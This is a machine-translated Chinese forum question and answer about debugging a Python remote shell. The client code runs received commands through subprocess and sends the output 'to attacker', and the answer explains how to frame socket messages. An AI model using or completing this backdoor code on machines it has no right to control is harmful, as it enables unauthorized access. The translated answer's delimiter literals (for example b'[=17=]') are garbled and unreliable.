尝试创建远程 shell,程序未按要求打印命令输出

Trying to create a remote shell, program does not print command output as desired

我正在尝试在 python 中创建远程 shell 并让服务器向客户端发送命令并在远程计算机上执行它。出了什么问题是尽管客户端正在发回输出(根据我的理解)服务器没有正确接收和打印它。它一直在工作,直到我更改我的代码以接收所有数据,而不仅仅是一个块。如何接收所有数据并正确打印?

服务器代码:

while True:
    try:
        command = input(client_ip+ ">")
        if(len(command.split()) != 0):
            client_socket.send(command.encode('utf-8'))
        else:
            continue
    except(EOFError):
            print("Invalid input, type 'help' to get a list of implemented commands.\n")
            continue

    if(command == "quit"):
        break
    total_data = []
    while True:
        data = client_socket.recv(8192)
        if not data: break
        total_data.append(data)
    print(total_data + '\n')
    # try:
    #     output = ''
    #     data = ''
    #     while True:
    #         data += client_socket.recv(1024).decode('utf-8')
    #         if not data:
    #             break
    #         else:
    #             output += data
    # except Exception:
    #     if output:
    #         pass
    #     else:
    #         print("failed")
    # print(data + "\n")

客户代码:

while True:

    command = connexion_socket.recv(1024).decode('utf-8')
    split_command = command.split()
    print("Received command : " +command)

    # if its quit, then break out and close socket
    if command == "quit":
        break

    if(command.split()[0] == "cd"):
            if len(command.split()) == 1:
                connexion_socket.send((os.getcwd().encode('utf-8')))
            elif len(command.split()) == 2:
                try:
                    os.chdir(command.split()[1])
                    connexion_socket.send(("Changed directory to " + os.getcwd()).encode('utf-8'))
                except(WindowsError):
                    connexion_socket.send(str.encode("No such directory : " +os.getcwd()))

    else:
        # do shell command
        proc = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
        # read output
        stdout_value = (proc.stdout.read() + proc.stderr.read()).decode('utf-8')
        print(stdout_value + "\n")
        # send output to attacker
        if(stdout_value != ""):
            connexion_socket.send(stdout_value.encode('utf-8'))
        else:
            connexion_socket.send((command+ " does not return anything").encode('utf-8'))

如果需要更多信息,请询问 :)

您似乎正在使用流套接字。在那种情况下,问题是如果连接未关闭(通过 client.py),您无法测试 EOF(正在读取的零长度数据)是否脱离接收循环。您的 server.py 读取输入,但随后返回以从套接字接收更多数据并等待更多数据(不会到来)。

client.py中,你可以通过accepting a new connection and end by closing开始你的循环(注意:accept返回的套接字将被关闭,而不是accept的监听套接字方法被调用)。在 server.py 中,您可以通过设置和关闭与对方的连接(resp.)来开始和结束循环。这样的话if not data: break就可以用了。

另一个选项是。您可以在 protocol/application 级别处理此问题。您可以通过发送要遵循的数据长度(并接收直到您拥有现在已知的数据量)来开始传输,或者选择一个消息定界符(例如 b'[=17=]'),您也可以在每个完整的输出块之后发送该定界符。然后,您可以一个接一个地接收数据,直到到达下一个分隔符。在这种情况下,您可以使现有连接保持活动状态并将其重新用于来回通信。 IE。在您的接收循环中,您检查:if data == b'[=18=]': break 并在 client.py 循环中的每条消息后发送 conn.send(b'[=19=]')

不相关的旁注:WindowsError 应该是 OSError 的子类,后者可能是您真正想要捕获的以使您的代码可移植的子类。